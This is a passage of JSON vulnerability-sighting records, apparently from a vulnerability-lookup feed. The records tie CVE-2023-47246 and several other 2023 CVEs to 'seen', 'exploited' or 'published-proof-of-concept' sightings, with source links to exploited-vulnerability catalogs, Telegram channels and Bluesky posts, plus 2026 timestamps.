"https://db.gcve.eu/known-exploited-vulnerabilities-catalog/8354a9fe-2077-49fe-8637-5815ef6dfb81", "content": "", "creation_timestamp": "2026-06-23T11:14:12.395598Z"}, {"uuid": "85b19caa-8fdf-4005-8d1a-046771fe51a7", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/20692b3b-b594-4663-8b5e-6cc27bc9c4da", "content": "", "creation_timestamp": "2026-07-01T05:54:46.862721Z"}, {"uuid": "a36f4647-b9ab-4bb2-ac32-9cbce177a7c7", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/9dd5ab82-f2c7-4b86-991e-e7d7c362fa6a", "content": "", "creation_timestamp": "2026-07-01T05:54:16.631687Z"}, {"uuid": "0257f8e7-0857-42c7-9361-db3147021b60", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/d016abb3-1514-4c93-a1f5-224f6be71361", "content": "", "creation_timestamp": "2026-07-01T05:54:40.786532Z"}, {"uuid": "cb6f4ea8-c217-4e9e-b18b-b69e1b5d017d", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/b8503cbd-e8bd-46ac-a897-8c184ff98f03", "content": "", "creation_timestamp": "2026-07-01T05:54:53.070740Z"}, {"uuid": "5abc54ac-13e5-4168-81ea-489dc6dbfccd", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/71a9dd73-19d6-4cfd-9813-96e907cbd046", "content": "", "creation_timestamp": "2026-07-01T07:18:19.289250Z"}, {"uuid": "a0cef0b0-f9e9-4f5c-a1e2-2e8b22d978ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47415", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxbwqrflo2i", "content": "", "creation_timestamp": "2026-07-06T04:47:41.337631Z"}, {"uuid": "ee14d93c-5332-4060-807f-89ee7c22feaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ZerodayAlert/85", "content": "", "creation_timestamp": "2026-07-07T00:00:23.500814Z"}, {"uuid": "0228eb70-8331-4c35-ac6c-ab9f293ea81c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/ZerodayAlert/85", "content": "", "creation_timestamp": "2026-07-12T05:00:05.143491Z"}, {"uuid": "be8b62ed-10fe-4c35-bf74-5a24fc59d225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/ZerodayAlert/85", "content": "", "creation_timestamp": "2026-07-13T00:00:52.575123Z"}, {"uuid": "623f8a51-7980-44cf-8b2c-327a17fce4b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/181", "content": "", "creation_timestamp": "2026-07-18T00:00:28.686028Z"}, {"uuid": "964ce136-aa05-4444-b3bf-cb1891a73f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2961", "content": "", "creation_timestamp": "2026-07-29T12:03:07.329043Z"}, {"uuid": "36be99b8-9e1a-4f38-8134-edef7e13f631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2983", "content": "", "creation_timestamp": "2026-07-29T12:03:06.979040Z"}, {"uuid": "7f38641d-413f-4a79-a9cd-65ffc4d6d565", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2961", "content": "", "creation_timestamp": "2026-07-30T00:02:55.442890Z"}, {"uuid": "d6f80a01-4c05-4878-9247-c80e624cb080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2983", "content": "", "creation_timestamp": "2026-07-30T00:02:55.285792Z"}, {"uuid": "b15b7a58-bd57-433f-92e3-83d9f54f6cef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mrw6as2bi62v", "content": "", "creation_timestamp": "2026-07-31T04:59:26.859654Z"}, {"uuid": "f8ccf319-4669-40ca-82d9-b2bedf197980", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/cisoclub/2983", "content": "", "creation_timestamp": "2026-08-03T18:00:04.462678Z"}, {"uuid": "00d1284e-dd09-484f-90c8-658f09cc7d6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2961", "content": "", "creation_timestamp": "2026-08-03T19:00:04.942464Z"}, {"uuid": "c48afe9a-d275-444f-8589-b768c0277591", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/cisoclub/2983", "content": "", "creation_timestamp": "2026-08-04T00:00:29.454404Z"}, {"uuid": "d038d8a2-5e7f-465d-8309-6b66db7c71a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2961", "content": "", "creation_timestamp": "2026-08-04T00:00:29.159184Z"}, {"uuid": "02c81a8f-e182-4432-8fa3-de49df115b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47630", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3msje3sffbm2d", "content": "", "creation_timestamp": "2026-08-07T20:04:36.761199Z"}]}